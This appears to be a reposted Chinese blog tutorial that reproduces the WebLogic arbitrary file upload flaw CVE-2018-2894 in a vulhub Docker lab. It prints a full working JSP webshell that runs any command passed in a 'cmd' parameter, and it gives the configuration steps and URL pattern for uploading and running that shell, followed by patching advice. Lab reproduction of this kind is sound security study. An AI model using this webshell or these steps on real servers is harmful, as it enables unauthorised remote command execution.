目錄
weblogic?
漏洞環(huán)境準(zhǔn)備
漏洞復(fù)現(xiàn)
修復(fù)建議
weblogic?
WebLogic是美國(guó)Oracle公司出品的一個(gè)application server,確切的說(shuō)是一個(gè)基于JAVAEE架構(gòu)的中間件,WebLogic是用于開(kāi)發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫(kù)應(yīng)用的Java應(yīng)用服務(wù)器。將Java的動(dòng)態(tài)功能和Java Enterprise標(biāo)準(zhǔn)的安全性引入大型網(wǎng)絡(luò)應(yīng)用的開(kāi)發(fā)、集成、部署和管理之中。
CVE-2018-2894?該漏洞屬于一個(gè)遠(yuǎn)程上傳漏洞,通過(guò)更改Work Home工作目錄,用有效的已部署的Web應(yīng)用目錄替換默認(rèn)的存儲(chǔ)JKS Keystores文件的目錄,之后使用"添加Keystore設(shè)置"的功能,可上傳惡意的JSP腳本文件,造成攻擊。兩個(gè)頁(yè)面分別為/ws_utc/begin.do,/ws_utc/config.do;
受影響的版本:weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
漏洞環(huán)境準(zhǔn)備
下載好vulhub
?進(jìn)入目錄啟動(dòng) weblogic 12.2.1.3
docker-compose up -d
查看端口情況
docker-compose ps
執(zhí)行docker-compose logs | grep password
可查看管理員密碼
管理員用戶名為weblogic
密碼為
B6eYMuo9
環(huán)境啟動(dòng)后,訪問(wèn)http://your-ip:7001/console
,即可看到后臺(tái)登錄頁(yè)面。使用剛剛獲得的賬號(hào)密碼登錄
登錄后臺(tái)頁(yè)面,點(diǎn)擊base_domain
的配置,在“高級(jí)”中開(kāi)啟“啟用 Web 服務(wù)測(cè)試頁(yè)”選項(xiàng):記得保存設(shè)置!!!要不然利用不到webshell
?
接下來(lái)訪問(wèn)http://your-ip:7001/ws_utc/config.do
,設(shè)置Work Home Dir為/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。我將目錄設(shè)置為ws_utc
應(yīng)用的靜態(tài)文件css目錄,訪問(wèn)這個(gè)目錄是無(wú)需權(quán)限的,這一點(diǎn)很重要。
漏洞復(fù)現(xiàn)
寫(xiě)一個(gè)jsp文件上傳
這里我們上傳一個(gè)可以利用的webshell ?
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
??? out.println("Command: " + request.getParameter("cmd") + "<BR>");
??? Process p;
??? if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
??????? p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
??? }
?else{
??????? p = Runtime.getRuntime().exec(request.getParameter("cmd"));
??? }
??? OutputStream os = p.getOutputStream();
??? InputStream in = p.getInputStream();
??? DataInputStream dis = new DataInputStream(in);
??? String disr = dis.readLine();
??? while ( disr != null ) {
??? out.println(disr);
??? disr = dis.readLine();
??? }
}
%>
</pre>
</BODY></HTML>
通過(guò)抓包我們可以發(fā)現(xiàn)返回了時(shí)間戳(我上傳了兩個(gè)jsp返回兩個(gè)時(shí)間戳)
然后訪問(wèn)
http://your-ip:7001/ws_utc/css/config/keystore/[時(shí)間戳]_[文件名]
即可執(zhí)行webshell
例如返回時(shí)間戳為1673447062823? 上傳jsp文件名為? 4.jsp
訪問(wèn)
http://192.168.10.142:7001/ws_utc/css/config/keystore/1673447062823_4.jsp
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-428221.html
實(shí)驗(yàn)完成后記得關(guān)閉weblogic文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-428221.html
docker-compose? down
修復(fù)建議
- 升級(jí)到官方的最新版本;
- config.do,begin.do頁(yè)面強(qiáng)制登錄后才授權(quán)后訪問(wèn)
到了這里,關(guān)于Weblogic 任意文件上傳漏洞(CVE-2018-2894)復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!